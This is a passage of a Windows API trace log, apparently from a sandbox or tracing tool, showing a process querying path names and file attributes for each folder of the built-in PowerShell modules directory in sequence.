GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.850] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0159.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.850] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.850] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.850] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", lpFilePart=0x0) returned 0x3d [0159.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.850] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.851] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0159.851] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0159.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.851] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.851] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0159.851] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x42, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", lpFilePart=0x0) returned 0x41 [0159.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.851] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\assignedaccess"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.852] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.852] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", lpFilePart=0x0) returned 0x3c [0159.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.852] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitlocker"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.852] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0159.852] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0159.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.852] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.853] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0159.853] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0159.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.853] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.853] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.853] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0159.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.854] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0159.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", lpFilePart=0x0) returned 0x3b [0159.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.854] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\configci"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0159.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", lpFilePart=0x0) returned 0x3b [0159.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.855] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\defender"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.855] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0159.855] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x48, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", lpFilePart=0x0) returned 0x47 [0159.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.855] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\deliveryoptimization"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.856] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.856] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", lpFilePart=0x0) returned 0x4f [0159.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.856] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc08f2e6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.856] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0159.856] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", lpFilePart=0x0) returned 0x37 [0159.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.856] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.857] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.857] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", lpFilePart=0x0) returned 0x3c [0159.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.857] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc090fdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.857] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0159.857] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0159.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.857] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f1ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.858] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.858] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0159.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.858] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc12f954, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e85392d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.858] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0159.858] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", lpFilePart=0x0) returned 0x38 [0159.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.858] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130082, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.859] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0159.859] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0159.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.859] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc130565, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.859] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0159.859] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", lpFilePart=0x0) returned 0x36 [0159.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.859] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.860] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.860] GetFullPathNameW (in: 